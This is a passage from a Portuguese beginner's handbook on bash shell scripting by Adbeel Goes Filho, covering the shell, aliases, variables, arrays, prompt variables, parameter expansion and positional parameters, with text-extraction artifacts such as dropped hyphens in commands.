151
   Shell-Scripts                                                                    1 e e Book Book Adbeel Goes Filho Fortaleza – Ceará - Brasil Versão 2006.04.25 Adbeel Goes Filho Shell Shell Scripts Scripts

Apostila de Shell Script

Embed Size (px)

DESCRIPTION

Apostila de Shell Script para iniciantes.

Citation preview

Page 1: Apostila de Shell Script

   ShellScripts                                                                           1

eeBookBook

Adbeel Goes Filho

Fortaleza – Ceará  Brasil

Versão 2006.04.25

Adbeel Goes Filho

ShellShellScriptsScripts

Page 2: Apostila de Shell Script

   ShellScripts                                                                           2

ADBEEL GOES FILHO

VIRTVSVIRTVS

Fortaleza2006

Adbeel Goes Filho

ShellShellScriptsScripts

Page 3: Apostila de Shell Script

   ShellScripts                                                                           3

CopyFree (C) 2006 da VIRTVS Engenharia e Informática Ltda

Congregamos todos os esforços para fornecer informações de ampla qualidade, contudo, devido ao dinamismo da área de informática, os autores não assumem responsabilidade pelos resultados e usos das informações fornecidas. Recomentamos amplamente aos leitores testar as informações antes de sua efetiva utilização, ao tempo em que agradecemos antecipadamente por críticas e sugestões prestadas.

Copyright (c) 2000,  Adbeel Goes Filho.É garantida a permissão para copiar, distribuir e/ou modificar este documento sob os termos da GNU Free Documentation License, versão 1.1 ou qualquer outra versão posterior publicada pela Free Software Foundation; sem obrigatoriedade de Seções Invariantes na abertura e ao final dos textos.Uma copia da licença deve ser incluída na seção intitulada GNU Free Documentation License.

Copyright (c) 2000,  Adbeel Goes Filho.Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free  Documentation  License,  Version  1.1  or   any   later  version  published  by   the  Free  Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the FrontCover Texts being LIST, and with the BackCover Texts being LIST.A copy of the license is included in the section entitled "GNU Free Documentation License".

Este trabalho foi editado e composto eletronicamente utilizando somente ferramentes livres:

Conhecimentos necessários para a leitura deste trabalho:

Entendimento   básico   de   sistemas   operacionais,   Comandos   básicos   de   Unix,   Linux,   Solaris, FreeBSD   ou   outro   sistema   operacional   com   base   Unix,   Linguagem   de   programação,   Edição eletrônica de textos.

Editor ResponsávelSatis

Diagramação e ProduçãoVirtvs

VIRTVS Engenharia e InformáticaRua Cel. Ribeiro da Silva, 391. CEP 60.325210.

Monte Castelo. Fortaleza – CE. Telefone: +55 (85) 32833124www.virtvs.com.br

Adbeel Goes Filho

Page 4: Apostila de Shell Script

   ShellScripts                                                                           4

 

SOBRE O AUTOR

Adbeel Goes [email protected]     [email protected]      [email protected] 

Engenheiro Civil pela Universidade Federal do Ceará (UFC).

Especialista em Ciência da Computação pela Universidade Federal do Ceará (UFC).

Mestre em Ciência da Computação pela Universidade Federal do Ceará (UFC).Especialista em Matemática Computacional e Otimização de Sistemas.

Doutorando em Engenharia Civil – Recursos Hídricos (UFC)

Acadêmico de Administração de Empresas pela Universidade Estadual do Ceará  (UECE).

Professor do Curso de Graduação em Informática da Universidade de Fortaleza (UNIFOR).

Coordenador de Gestão Estratégica do Departamento Nacional de Obras Contra as Secas (DNOCS).

Diretor de Engenharia e Informática da VIRTVS Engenharia e Informática Ltda

Consultor nas áreas de engenharia civil e informática em empresas e instituições públicas.

Consultor na área de custos e acompanhamento de projetos de engenharia civil.

Consultor da PERITUS Projetos e Pesquisas Ltda, na área de organização, projetos e informática.

Exprofessor dos cursos de Processamento de Dados, Engenharia Civil, Agronomia, Engenharia e Alimentos, Geologia, Matemática e Estatistica da Universidade Federal do Ceará (UFC).

Exprofessor do Curso de Bacharelado em Computação da Faculdade Lourenço Filho.

Exdiretor de engenharia e informática da Rhodes Engenharia e Informática Ltda.

ExAnalista de Sistemas da Fundação Cearense de Meteorologia (FUNCEME).

Adbeel Goes Filho

Page 5: Apostila de Shell Script

   ShellScripts                                                                           5

AGRADECIMENTOS

VIRTVS Engenharia e Informática Ltda

Departamento Nacional de Obras Contra as Secas – DNOCS

Universidade Federal do Ceará – UFC

Universidade de Fortaleza – UNIFOR

Faculdade Lourenço Filho  FLF

AGRADECIMENTOS ESPECIAIS

Aos meus pais Elsie Studart e Adbeel Goes de OliveiraAos meus avós (in memoriam)

Angelina Goes de Oliveira e Luis Rodrigues de OliveiraOlga Sales Lopes Gurgel e Benjamim Studart Gurgel

A minha esposa Cristine Studart de SantanaA meu grande mestre Prof. Dr. Gerardo Valdisio Rodrigues VianaAo meu orientador acadêmico e de vida Prof. Dr. Clécio Fontelles ThomazAo meu orientador e incentivador Prof. Dr. Nilson CamposAos meus grandes mestres:

Antônio Gouveia NetoAfrodisio Durval Gondim PamplonaAmaury Aragão AraújoGenésio Martins de AraújoSuetônio MotaVicente de Paula Barbosa Vieira

A todos os outros que, pelo esquecimento, tipico da natureza humana, deixamos de citar.

Adbeel Goes Filho

Page 6: Apostila de Shell Script

   ShellScripts                                                                           6

Marcas Registradas

Durante este trabalho aparecem várias marcas registradas, contudo, o autor declara estar utilizando tais nomes apenas para fins editorais, em benefício exclusivo da marca registrada, sem a mínima intenção de infrigir regras de sua utilização.

Adbeel Goes Filho

Page 7: Apostila de Shell Script

   ShellScripts                                                                           7

SumárioCapitulo 1. Introdução........................................................................................................................................10

1.O Shell ......................................................................................................................................................102.O que são os shell scripts ? ......................................................................................................................123.Definições .................................................................................................................................................144.Variáveis ...................................................................................................................................................145.Formato dos Arquivos de Shell Script .......................................................................................................226.Exercicios..................................................................................................................................................34

Capitulo 2. Execução de Programas..................................................................................................................367.Execução em foreground e background ....................................................................................................368.Redirecionamento......................................................................................................................................379.Metacaracteres e Wildcards......................................................................................................................4010.Sequências de Escape ANSI...................................................................................................................4411.Códigos de Escape .................................................................................................................................4912.Conclusões..............................................................................................................................................5013.Exercicios.................................................................................................................................................51

Capitulo 3. Comandos Condicionais..................................................................................................................52Capitulo 4. Comandos de Repetição.................................................................................................................62

14.while.........................................................................................................................................................6215.for ............................................................................................................................................................6316.until..........................................................................................................................................................6617.case .........................................................................................................................................................6618.break e continue......................................................................................................................................6719.Redirecionando loops..............................................................................................................................6920.select ......................................................................................................................................................7521.Funções...................................................................................................................................................7822.Tornando seu script amigável..................................................................................................................8723.dialog.......................................................................................................................................................89

Capitulo 5. Comandos Avançados.....................................................................................................................941.cut..............................................................................................................................................................942.wc..............................................................................................................................................................983.tee..............................................................................................................................................................984.sort.............................................................................................................................................................995.grep..........................................................................................................................................................1006.sed...........................................................................................................................................................106

Capitulo 6. Bibliografia......................................................................................................................................113Capitulo 7. Apêndice A – Endereços Internet...................................................................................................114Capitulo 8. Anexos............................................................................................................................................115

1.Exemplos..................................................................................................................................................1162.Laboratórios.............................................................................................................................................1323.Exercicios.................................................................................................................................................1405.GNU Free Documentation License..........................................................................................................143

Adbeel Goes Filho

Page 8: Apostila de Shell Script

   ShellScripts                                                                           8

Abreviações Utilizadas

*IX Sistema operacional fundamentado em Unix

LP Linguagem de programação

SO Sistema Operacional

SS Shellscript

Adbeel Goes Filho

Page 9: Apostila de Shell Script

   ShellScripts                                                                           9

 

Capitulo 1. Capitulo 1. IntroduçãoIntrodução

1.1. O Shell O Shell 

Shell,   ou   interpretador   de   comandos,   é   o   programa   disparado   logo   após   o   login responsável por "pegar" os comandos do usuário, interpretálos e executar uma determinada ação. Estas  ações  são subrotinas  conhecidas  pelo    nome de  system calls.  Por  exemplo,  quando você escreve no console "ls" e pressiona <enter>, o shell lê essa string e verifica se existe algum comando interno (embutido no próprio shell, também chamado de intrínseco) com esse nome. Se houver, ele executa esse comando interno. Caso contrário, ele vai procurar no PATH por algum programa que tenha   esse   nome.   Se   encontrar,   ele   executa   esse   programa,   caso   contrário,   ele   retorna   uma mensagem de erro. Para cada terminal ou console aberto, existe um shell sendo executado. Quando você entra no seu Linux, ele apresenta o login, para digitar o usuário e a senha. Ao digitar um par usuário/senha   correto,   o   Linux   abre   automaticamente   um  shell,   que   vai   ficar   esperando   seus comandos. 

Funcionando como uma ponte, o Shell é a ligação entre o usuário e o kernel. O kernel é quem acessa o hardware da máquina, como disco rígido, placa de vídeo e modem. Por exemplo, para o usuário acessar um arquivo qualquer, toda esta hierarquia é seguida:

Antes de Começar

Se você está acessando o sistema como usuário administrador (root), saia e entre como um usuário normal. É  muito perigoso estudar Shell usando o superusuário, você pode danificar o sistema com um comando errado.

Veja o exemplo abaixo: 

Welcome to Linux Slackware 7.1 kernel 2.2.16. virtvs login: euPassword: 

Adbeel Goes Filho

USUÁRIO > SHELL > KERNEL > HARDWARE 

Page 10: Apostila de Shell Script

   ShellScripts                                                                           10

Linux 2.2.16. Last login: Mon Sep 25 10:41:12 0300 2000 on tty1. No mail. 

virtvs@mucuripe:~$ 

Essa última linha é o shell. Se você digitar o comando "ps", verá que um dos programas rodando é o seu shell . O comando “ps” lista os processos em :

virtvs@mucuripe:~$ ps PID TTY TIME CMD 164 tty2 00:00:00 bash 213 tty2 00:00:00 ps virtvs@mucuripe:~$ 

Ou seja, o shell utilizado nesse console é o bash, que está rodando com PID 164.

Existem diversos tipos de  shell: bash, csh, ksh, ash, etc.  Por exemplo, o AIX/6000 possui 5 tipos de  shell disponíveis: korn  shell  (ksh), bourne  shell  (bsh, sh), C  shell  (csh), trusted shell (tsh), restricted shell (rsh). O default para este sistema é o ksh. O mais utilizado atualmente é o bash (GNU BourneAgain SHell). Por isso o tomaremos como referência. 

Resumindo essa seção, é importante saber que para cada terminal ou console aberto, temse um shell rodando. Assim, se você tem 3 xterms abertos na interface gráfica, vai ter um shell para cada xterm.

Ao executar o shell script, o shell atual (no qual você deu o comando) abre um novo shell para executar o script. Assim, os scripts são executados em um shell próprio (a menos que se especifique, ao chamar o script, para executálo no shell atual). Isso será importante quando formos tratar de variáveis de ambiente.

O uso de alias

Alias é  um novo nome, ou apelido,  para o comando. Pode ser usado para abreviar longas linhas de comando ou fazer com que comandos comportemse diferente da execução padrão.

Sintaxe: alias [nome[=string]]

Exemplo:

alias cls=clearalias ls='ls logt'alias dir=ls

Adbeel Goes Filho

Page 11: Apostila de Shell Script

   ShellScripts                                                                           11

2.2. O que são os O que são os shellshell scripts ?  scripts ? 

Shell scripts são conjuntos de comandos armazenados em um arquivo texto que são executados seqüencialmente. Nesta primeira parte, faremos uma introdução sobre o shell, o formato desses  arquivos  e  variáveis  de  ambiente.  Shell  pode ser   standard  ou   restrito,  na  verdade é  um comando que possibilita gerar textos com lógica de programação. É muito utilizado para montagem de ambientes de login e abertura de novos processos que indicam nova seção. 

Existe vários tipos de shells, a mais utilizada é a  sh, que é um link da bash, ou seja/bin/sh é link de /bin/bash 

Detalhes importantes

Qualquer shellscript criado necessita na "primeira linha" de indicar onde se encontra o  shell  interpretador, ou seja o destino, que por padrão é  #!/bin/sh, porém pode ter casos de se localizar em outro diretório. Também devo dizer que todo shellscript deve ter permissão para obter a execução. Caso não seja informada esta primeira linhx o shell usará a default do sistema. Sintaxe : 

$chmod a+x shellscript

Para colocar comentários assim como no PERL, utilize o # (chamado culturalmente de sustenido)

O Primeiro Shell Script

O primeiro Shell Script a fazer será o "sistema" do exemplo anterior, de simplesmente juntar três comandos num mesmo script.

Passos Para Criar um Shell Script

1. Escolher um nome para o script

Já temos um nome: sistema. Use apenas letras minúsculas e evite acentos, símbolos e espaço em branco

2. Escolher o diretório onde colocar o script

Para que o script possa ser executado de qualquer parte do sistema, movao para um diretório que esteja no seu PATH. Para ver quais são estes diretórios, use o comando:echo $PATHSe não tiver permissão de mover para um diretório do PATH, deixeo dentro de seu HOME

3. Criar o arquivo e colocar nele os comandos

Adbeel Goes Filho

Page 12: Apostila de Shell Script

   ShellScripts                                                                           12

Use o VI ou outro editor de textos de sua preferência para colocar todos os comandos dentro do arquivo.4. Colocar a chamada do Shell na primeira linha

A primeira linha do script deve ser:#!/bin/bashPara que ao ser executado, o sistema saiba que é o Shell quem irá interpretar estes comandos.

5. Tornar o script um arquivo executável

Use o seguinte comando para que seu script  seja  reconhecido pelo sistema como um comando executável:

chmod +x sistema

Problemas na Execução do Script

"Comando não encontrado"

O Shell não encontrou o seu script.Verifique se o comando que você  está  chamando tem exatamente o mesmo nome do seu script. Lembrese   que   no   Linux   as   letras   maiúsculas   e   minúsculas   são   diferentes,   então   o   comando "SISTEMA" é diferente do comando "sistema". Caso o nome esteja correto, verifique se ele está no PATH do sistema. O comando"echo $PATH" mostra quais são os diretórios conhecidos, mova seu script para dentro de um deles, ou chameo passando o caminho completo.Se o script estiver no diretório corrente, chameo com um "./" na frente, assim:$./sistemaCaso contrário, especifique o caminho completo desde o diretório raiz:$/tmp/scripts/sistema

"Permissão Negada"

O Shell encontrou seu script, mas ele não é executável. Use o comando "chmod +x seuscript" para tornálo um arquivo executável.

"Erro de Sintaxe"

O Shell encontrou e executou seu script, porém ele tem erros.Um script   só  é   executado quando sua  sintaxe  está  100% correta.  Verifique  os   seus  comandos, geralmente   o   erro   é   algum   IF   ou   aspas   que   foram   abertos   e   não   foram   fechados.   A   própria mensagem informa o número da linha onde o erro foi encontrado.

Adbeel Goes Filho

Page 13: Apostila de Shell Script

   ShellScripts                                                                           13

3.3. Definições Definições 

Branco e TAB ou espaço são a mesma coisa. Um nome é  uma sequência de letras, digitos ou  underscores  começando com uma letra ou  underscore. Um parâmetro é  um nome um digito ou algum desses caracteres: *, #, ?, , $, e !. Comando  :  é  uma sequência de não brancos separados por brancos. A primeira sequência ou argumento é o argumento 0. Pipeline  : é uma sequência de um ou mais comandos separados por | (ou, para compatibilidade histórica, pelo ^). A função de uma pipeline é sincronizar a entrada ou saida padrão para um arquivo do tipo FIFO. Uma lista  :   é   uma   sequência   de  pipelines  separadas   por;.   &,   &&,   or   ||,   e   opcionalmente, terminada por ; ou &. 

Exemplos de comandos do shell:

for name [ in word ... ] do list done case word in [ pattern [ | pattern ] ...) list ;; ] ... esac if list then list [ else list then list ] ... [ else list ] fi while list do list done 

4.4. Variáveis Variáveis 

Uma variável é onde o shell armazena determinados valores para utilização posterior. São áreas de memória onde podem ser armazenados dados. Estes dados podem ser números, textos, listas   de   arquivos   e   até   mesmo   resultados   da   saida   de   comandos   que   podem   ser   utilizados posteriormente. Existem duas categorias de variáveis que podemos definir no ambiente Unix:

1. Variáveis locais  – disponíveis somente para o Shell corrente, não sendo acessadas pelos subprocessos;

2. Variáveis ambientais ou globais – disponíveis tanto para o Shell corrente como para os   subprocessos   que   venham   a   usar   o   conteúdo   das   variáveis   definidas.   Para transformar uma variável com escopo global utilize o comando export. Exemplo:  export <variável>

Para a visualização das variáveis locais,  usase o comando  set.  Para verificar quais variáveis estão exportadas, usase o comando env. 

Toda variável possui um nome e um valor associado a ela, podendo ser este último vazio. Para listar as variáveis atualmente definidas no  shell digite o comando  set. Para se definir uma variável, basta utilizar a síntaxe (Sem espaço ao redor do =): 

nome_da_variável=conteúdoPor exemplo, queremos definir uma variável chamada "cor" com o valor de "azul":

Adbeel Goes Filho

Page 14: Apostila de Shell Script

   ShellScripts                                                                           14

virtvs@mucuripe:~$ cor=azul 

Para utilizar o valor de uma variável, é só colocar um sinal de "$" seguido do nome da variável  o shell automaticamente substitui pelo valor da variável:

virtvs@mucuripe:~$ echo cor cor virtvs@mucuripe:~$ echo $cor azul 

Em alguns  casos,  é  aconselhável  colocar  o  nome da  variável  entre  chaves  {}.  Por exemplo,  se  quero  imprimir  "azulescuro",  como faria  ?  Simplesmente  echo $corescuro ?  Não funcionaria, pois o bash vai procurar uma variável de nome "corescuro".  Portanto,    temos que colocar o nome "cor" entre chaves para delimitar o nome da variável:

virtvs@mucuripe:~$ echo ${cor}escuro azulescuro 

Algumas variáveis  já  são predefinidas no  shell,  como o PATH, que,  como foi dito antes, armazena o caminho dos programas. Por exemplo, a minha variável PATH contém:

virtvs@mucuripe:~$ echo $PATH /usr/local/bin:/usr/bin: /bin: /usr/X11R6/bin: /usr/openwin/bin:/usr/games: /opt/kde/bin: /usr/share/texmf/bin: /etc/script 

ou seja, quando digito um comando, como "ls", o  shell vai começar a procurálo em /usr/local/bin,   se  não  encontrálo,  vai  procurar   em  /usr/bin   e   assim  por   diante.  Repare  que  os diretórios são separados por um sinal de dois pontos (:).

É importante destacar que o  shell  possui várias variáveis prédefinidas, ou seja, que possuem um significado especial para ele, entre elas: PATH, PWD, PS1, PS2, USER e UID.

Assim, quando iniciamos um novo  shell  (ao executar o nosso script), essas variáveis especiais são "herdadas" do shell pai (o que executou o shell filho). Outras variáveis definidas pelo usuário, como a variável "cor" não são passadas do shell pai para o filho.

Quando o script terminar, o seu shell (shell filho) simplesmente desaparece e com ele também as suas variáveis, liberando o espaço ocupado na memória. 

Para   tornar   uma   variável   imune   à   alteração   ou   deleção,   devese   usar   o   comando readonly  Variáveis somente leitura não podem ser apagadas. Elas somente deixarão de existir no momento em que for efetuado o logout da sessão de terminal, ou se o programa que criou a variável for encerrado, exceto no caso de o Shellscript estar rodando na mesma instância de interpretador que iniciou a execução do scriptShell.

readonly nomePara apagar uma variável, use o comando unset:

Adbeel Goes Filho

Page 15: Apostila de Shell Script

   ShellScripts                                                                           15

unset nome

Variáveis Array

Também conhecidas como vetores. Este tipo de variável serve para armazenar vários valores sob um nome e um índice. A maneira de declarar variáveis array é a seguinte:

NomeDaVariavel[Indice]=Valor

sendo que Indice deve ser necessariamente um valor inteiro.

Imaginemos que Maria queira armazenar uma lista de suas frutas favoritas em uma variável array. Para isso ela faria o seguinte:

$ FRUTA[0]=goiaba$ FRUTA[1]=manga$ FRUTA[2]=pera$ FRUTA[3]=laranja

Supondo que ele colocou esta lista em ordem decrescente de gosto, para sabermos qual é a sua fruta favorita basta digitarmos:

$ echo ${FRUTA[0]}  Se colocarmos $FRUTA[0] e  shell  exibirá  goiaba[0] (goiaba concatenado com [0]. Desta forma notase a necessidade  do uso de {}

Agora vejamos uma coisa interessante. Se eu declarar uma variável assim:

$FRUTA=goiaba

e depois quiser fazer um array com o nome FRUTA eu posso fazer assim:

$ FRUTA[1]=manga

Desta maneira 'goiaba' passa a ser armazenada em FRUTA[0]   

Outra coisa interessante é que podemos declarar um array inteiro numa única linha de comando. Para isto usamos a sintaxe:

NomeDoArray=(valor1 valor2 ... valorn)

Desta maneira Maria economizaria teclado digitando isto:

$FRUTA=(goiaba manga pera laranja)

Adbeel Goes Filho

Page 16: Apostila de Shell Script

   ShellScripts                                                                           16

E para vermos toda a lista de uma vez só, podemos usar o seguinte comando:

$ echo ${FRUTA[*]}

Existem várias outras especificações para arrays, aqui é só o básico. E se você precisar usar arrays de maneira mais complexa que isso procure a documentação oficial do bash.

Ambiente do usuário

O   ambiente   do   usuário   descreve   a   sessão   para   o   sistema,   contendo   as   seguintes informações, geralmente armazenadas em variáveis de ambiente:

. Caminho para o diretório home HOME;

. Para onde enviar seu correio eletrônico MAIL;

. Fuso horário local TZ;

. Com que nome você se logou LOGNAME;

. Onde seu shell pesquisará os comandos PATH;

. Seu tipo de terminal TERM;

. Outras definições necessárias.

A variável PS1

Esta é a "Prompt String 1" ou "Primary Prompt String". Nada mais é do que o prompt que nos mostra que o  shell  está  esperando um comando. Quando você  muda PS1 você  muda a aparência do prompt.  Na minha máquina o padrão é   '\u@\h:\w\$  '  onde \u significa o nome do usuário, \h significa o nome do host e \w é o diretório atual, o que dá a seguinte aparência:

meleu@meleu:/usr/doc/LinuxHOWTOs$

   Veja algumas possibilidades (Verifique mais no manual do bash):

              \d     mostra a data atual              \h     mostra o hostname              \s    o nome do shell              \t     a hora atual (no estilo 24 horas)              \T     a hora atual (no estilo 12 horas)              \u     nome do usuário que está usando o shell              \w     nome do diretório atual (caminho todo)              \W     nome do diretório atual (somente o nome do diretório)

Se você estiver afim de ter a impressão de que está no shell do root basta trocar o '$' por '#'Para aprender a fazer um monte de gracinhas com o PS1 dê uma lida no BashPromptHOWTO 

A variável PS2

Adbeel Goes Filho

Page 17: Apostila de Shell Script

   ShellScripts                                                                           17

Esta é a "Secondary Prompt String". É usada quando um comando usa mais de uma linha. Por exemplo:

$ echo m\> e\> l\> e\> umeleu$ echo 'm> e> l> e> u'meleu

Este sinal '> ' (maiorespaço) é o PS2. Você pode usar os mesmos caracteres especiais que o PS1 usa.

A variável MAIL

Nada mais é do que o arquivo onde são guardados seus emails. Aqui na minha máquina eu uso o sendmail como servidor de email, portanto:

meleu@meleu:~$ echo $MAIL/var/spool/mail/meleu

porém se estivesse usando qmail seria:

meleu@meleu:~$ echo $MAIL/home/meleu/Mailbox

A variável SHLVL

Esta variável armazena quantos shells você executou a partir da primeira shell. Imagine que você está usando o bash e executou o bash de novo, nesta situação o seu 

SHLVL vale 2. Veja isto: $ echo $SHLVL1$ bash          # estou executando o bash a partir do bash$ echo $SHLVL

Adbeel Goes Filho

Page 18: Apostila de Shell Script

   ShellScripts                                                                           18

2$ exit          # saí do segundo bashexit$ echo $SHLVL1

Quando você inicializa scripts a partir do comando "source" o script é executado no shell pai, portanto se tiver um "exit" no script você vai executar um logoff. É aí que está a utilidade da variável SHLVL. Quando você está no shell primário o valor de SHLVL é 1. Então você pode, através de um "if" por exemplo, executar o "exit" só se SHLVL for diferente de 1.

A variável PROMPT_COMMAND

Esta é bem interessante. Ela armazena um comando que será executado toda hora que o prompt é exibido. Veja:

$ PROMPT_COMMAND="date +%T"19:24:13$ cd19:24:17$ lsGNUstep/  bons.txt  pratica/  teste  worldwritable.txt Mail/     hacking/  progs/    txts/19:24:19$19:24:32$  # isso eh uma linha sem nenhum comando19:24:49$

Esta variável é útil quando queremos brincar com o prompt, para aprender mais sobre isso leia o BashPromptHOWTO (v. 10. Referências).

A variável IFS

O shell usa esta variável para dividir uma string em palavras separadas. Normalmente o IFS é um espaço, uma tabulação (Tab) e um caractere nova linha (\n). Desta maneira:

isto eh uma string

são quatro palavras, pois IFS é um espaço e as palavras estão separadas por espaço. Agora se eu mudar IFS para um ':' desta maneira:

IFS=':'

então a string:

Adbeel Goes Filho

Page 19: Apostila de Shell Script

   ShellScripts                                                                           19

isto:eh:uma:string

conterá quatro palavras. Isto é útil para casos como neste exemplo:

#!/bin/bashIFS=':'for item in $PATH ; do        echo $itemdone

Se IFS for uma variável nula (vazia), tudo será considerado uma única palavra. Por exemplo: se o IFS for nulo, toda essa linha será considerada uma única palavra   

A variável RANDOM

Quando você exibe esta variável ("echo $RANDOM") é exibido um número aleatório entre 0 e 32767.  #!/bin/bashNUM="98$(echo $RANDOM)0"CONT=$(echo n $NUM | wc c)    # quantos digitos tem?while [ $CONT lt 8 ]; do       # se nao tiver 8 digitos acrescenta 0's        NUM=${NUM}0        CONT=$(echo n $NUM | wc c)doneecho $NUM

Outras Variáveis

Outras variáveis que são muito usadas:MAILCHECK ; HISTFILE ; HOSTNAME ; LS_OPTIONS ; LS_COLOR ; MANPATH ; SHELL ; TERM ; USER ; PS3 .

Estas   são   as  mais   utilizadas,   porém existem muitas   outras.  Para   ver   quais   são   as variáveis definidas no momento basta entrar com o comando "set". E para ver apenas as variáveis de ambiente use "env".

Olhe a man page do bash na seção "Shell Variables" para mais detalhes.

Configurando variáveis do Shell

nome=conteúdo

Não deve haver espaço antes ou depois do sinal de igual. Isso assegura que a atribuição seja feita corretamente, não sendo interpretada com o um comando com argumentos separados por espaço.

Poderemos tambem acessar substrings em variaveis na forma 

Adbeel Goes Filho

Page 20: Apostila de Shell Script

   ShellScripts                                                                           20

#a=”13/05/2004” #b=${a:6:4}#echo $b#2004

A variável PATH

Armazena a  relação de diretório,  usada pelo Shell  para pesquisa de comandos.  Os diretórios a serem pesquisados devem estar separados por (:). Lembrese que os nomes de variáveis são sensíveis ao contexto, ou seja PATH não é igual a PaTh.

Exemplo:

export PATH=/usr/bin:/usr/sbin:.

Exercícios

1. Crie um alias limpatela que execute o comando clear.

2. Mude o prompt do sistema para que apareça: <usuário>@<diretório corrente>$

3. Coloque o alias criado anteriormente no seu shell.

4. Elabore um shellscript para gerar 10 números aleatórios.

Adbeel Goes Filho

Page 21: Apostila de Shell Script

   ShellScripts                                                                           21

5.5. Formato dos Arquivos de Shell Script Formato dos Arquivos de Shell Script 

A primeira linha de todo shellscript deve começar com algo do tipo (Se não colocar é assumido o shell padrão): #!/bin/basha qual indica com qual shell deverá ser executado o script. Nesse exemplo, estamos falando para o shell atual executar o script com o shell /bin/bash. Se quisermos que o nosso script seja executado com o shell csh, devemos colocar nessa primeira linha: #!/bin/csh

Como usaremos o bash como nosso  shell  de referência,  todas as linhas dos nossos scripts começarão com #!/bin/bash 

Digamos que você executa freqüentemente o comando: find / name file print que  procura  na   raiz   (/)  por  um arquivo  de  nome "file".  Só   que  é   incômodo  ficar 

digitando esse comando toda vez que se quer procurar um arquivo. Então vamos criar um  shell script que contenha esse comando. Vamos chamar esse shell script de "procura". Seu conteúdo fica assim:

#!/bin/bash find / name file print 

Tornemos agora o arquivo executável: chmod 755 ./procura .  Porém, ao tentar executar o nosso script, teremos um problema.

./procura 

Este script irá procurar por um arquivo chamado "file". Como especificar qual arquivo queremos  procurar   ?  Seria   ideal  executarmos  o  nosso   script   seguido  do  nome do  arquivo  que queremos procurar. Por exemplo, queremos saber onde está o arquivo "netscape": 

./procura netscape

É ai que entram as "variáveis de parâmetro". Vamos substituir no nosso script a linha find / name file print por 

find / name $1 print

Quando o bash lê a variável "$1", ele a substitui pelo primeiro parâmetro passado na linha de comando para o nosso script. Então, se executamos ./procura netscape , a variável "$1" será substituída por "netscape", como a gente queria. Repare que a variável "$2" conteria o segundo parâmetro passado para o script e assim por diante.

Sendo assim, qualquer comando colocado abaixo de  find  seria executado após ele. 

Adbeel Goes Filho

Page 22: Apostila de Shell Script

   ShellScripts                                                                           22

Esse é o essencial do shell script: poder automatizar a execução de programas e comandos como se estivessem sendo digitados diretamente no console ou terminal.

 1. Capacidades de substituição do Shell

Uma característica interessanto no shell é a capacidade de podermos manipular textos, números e até saída de comandos através de variáveis. Existem 3 tipos de substituição no Shell:

1. Substituição de variáveis \ parâmetros;2. Substituição de comandos;3. Substituição do til;

Substituição de variáveis \ parâmetros

Cada variável   tem um valor  associado a ela.  Quando o nome de uma variável   for precedido por uma sinal de $ (dólar), o Shell substituirá o parâmetro pelo conteúdo da variável. Este procedimento é conhecido com Substituição de Variável.  Uma das maneiras de exibir o conteúdo de uma variável é usando o comando echo.

Existem dois tipos de parâmetros: posicional e o de palavra chave. Se o parâmetro é um digito,   então  é   posicional.  Palavras   chave   (também conhecida  como variáveis)  podem  ter   seus valores escritos. 

${variavel:string}

Se "variavel" não tiver sido definida ou for vazia será substituída por "string". O valor da variável não é alterado. Veja este exemplo:

$ echo ${URL:"http://unsekurity.virtualave.net"}http://unsekurity.virtualave.net$ echo $URL # observe que URL nao foi alterado

${variavel:=string}

  Se "variavel" não estiver sido definida ou for vazia, receberá "string". Exemplo:

$ echo ${WWW:="http://meleu.da.ru"}http://meleu.da.ru$ echo $WWWhttp://meleu.da.ru

${variavel:?string}

Se "variavel" não estiver sido definido ou for vazia, "string" será escrito em stderr (saída de erro padrão). O valor da variável não é alterado. Veja um exemplo:

Adbeel Goes Filho

Page 23: Apostila de Shell Script

   ShellScripts                                                                           23

$ echo ${EDITOR:?"Nenhum editor de texto"}bash: EDITOR: Nenhum editor de texto$ echo $EDITOR

${variavel:+string}

Se   "variavel"   estiver   definida,   será   substituída   por   "string"   mas   seu   valor   não   será   alterado. Exemplo:

$ echo ${BROWSER:+"BROWSER definido como \"$BROWSER\""}BROWSER definido como "links"

Variáveis SomenteLeitura

Como sabemos as variáveis podem ter seu valor modificado pelo usuário, mas se nós quisermos variáveis que NÃO possam ter seus valores alterados basta declararmos tal variável como somenteleitura. Para tornar uma variável readonly podemos usar o comando "readonly" ou então "declare r".

Veja os exemplos a seguir, ambos possuem o mesmo resultado:

$ readonly NOME="Meleu Zord"$ echo $NOMEMeleu Zord

$ declare r NOME="Meleu Zord"$ echo $NOMEMeleu Zord

$ NOME=Fulanobash: NOME: readonly variable$ echo $NOMEMeleu Zord

Um bom uso deste tipo de variável é para garantir que variáveis importantes de um determinado script não possam ser sobregravadas, evitando assim algum resultado crítico.

O comando "readonly" quando usado sem parâmetros (ou o comando "declare" apenas com o parâmetro "r") nos mostra todas as variáveis declaradas como somenteleitura. No exemplo a seguir se for usado "declare r" no lugar de "readonly" teríamos a mesma saída.

$ readonlydeclare ar BASH_VERSINFO='([0]="2" [1]="05" [2]="0" [3]="1" [4]="release"[5]="i386slackwarelinuxgnu")'declare ir EUID="1005"declare ir PPID="1"

Adbeel Goes Filho

Page 24: Apostila de Shell Script

   ShellScripts                                                                           24

declare rSHELLOPTS="braceexpand:hashall:histexpand:monitor:ignoreeof:interactivecomments:emacs"declare ir UID="1005"

Existem variáveis somenteleitura que são inicializadas pelo shell, como USER, UID. TODAS as variáveis  readonly uma vez declaradas não podem ser "unsetadas" ou ter seus valores modificados. O único meio de apagar as variáveis  readonly  declaradas pelo usuário é  saindo do shell (logout).

Parâmetros

Podemos passar parâmetros para o shellscript assim como na maioria dos programas. Os parâmetros são variáveis, digamos,  especiais.  Para começar elas não obedecem as regras de nomeclatura de variáveis, pois elas usam números; e também nós não podemos mudar o valor destas variáveis pelas vias "tradicionais", para mudar o valor destas nós temos que contar com a ajuda do shift e/ou do set (como veremos adiante).

Veja esta relação:

$0    é o nome do shellscript (parâmetro zero);

$1 a $9   $1 é o primeiro parâmetro, $9 o nono, e assim por diante;

${10}, ${11}.. quando o número do parâmetro possui mais de um dígito é necessário o uso das chaves;

$*  todos os parâmetros em uma única string  (exceto o $0)

$@   todos os parâmetros, cada um em strings separadas (exceto $0)

$#  número de parâmetros (sem contar com o $0).

$? valor de retorno do último comando (explicado mais adiante);

$$  PID do script;

$! PID do último comando iniciado com &                     

Adbeel Goes Filho

Page 25: Apostila de Shell Script

   ShellScripts                                                                           25

Exemplo:

